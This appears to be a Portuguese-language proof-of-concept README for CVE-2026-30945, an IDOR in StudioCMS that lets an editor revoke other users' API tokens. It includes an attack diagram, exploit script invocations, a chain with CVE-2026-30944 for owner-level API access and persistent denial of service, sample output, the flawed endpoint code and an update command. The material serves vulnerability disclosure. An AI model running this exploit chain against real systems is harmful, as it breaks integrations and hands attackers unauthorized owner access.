┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Atacante   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Servidor   │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Pipeline    │
                                              │  CI/CD do    │
                                              │  Owner       │──► ❌ 401 Não Autorizado
                                              │  Integração  │──► ❌ Acesso à API Perdido
                                              │  Monitoramento│──► ❌ Falha Silenciosa
                                              └──────────────┘

pip install requests colorama

# Revogar um token específico pertencente ao owner
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# Encadear com CVE-2026-30944: criar um token para o alvo primeiro
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Salvar resultados em JSON
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

# Testar com múltiplos papéis
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

  ──────────────────────────────────────────────────────────
  FASE 1: Autenticação
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuário da sessão: editor01 (editor)
  [*] UUID da sessão: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 3: Revogação de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID do token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revogando token de API do alvo...
  [+] Token revogado! Resposta do servidor: Token deleted
  [!] VULNERABILIDADE CONFIRMADA — Token revogado com sucesso!
  [!] As integrações de API do usuário alvo agora estão quebradas (DoS)

  ──────────────────────────────────────────────────────────
  FASE 3: Revogação de Token (IDOR)
  ──────────────────────────────────────────────────────────
  [*] UUID alvo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] ID do token:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] Revogando token de API do alvo...
  [*] Acesso negado (403 Forbidden) — o endpoint pode estar corrigido
  [-] Falha na revogação: Acesso negado (403 Forbidden)

Passo 1: Revogar o token legítimo do owner    (CVE-2026-30945)
   └──► Os pipelines CI/CD do owner quebram silenciosamente

Passo 2: Gerar novo token para o owner        (CVE-2026-30944)
   └──► O atacante agora tem acesso de API em nível de owner

Passo 3: O owner cria um novo token para corrigir
   └──► O atacante o revoga novamente (DoS persistente)

// [1] Apenas verifica se o chamador é editor — não PARA QUEM ele está revogando tokens
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] Ambos os valores do corpo da requisição — sem validação contra a sessão
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // Sem verificação de propriedade
    userID: string;     // Sem verificação de identidade
}>(ctx);

// [3] Passado diretamente para operação destrutiva — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

npm install studiocms@latest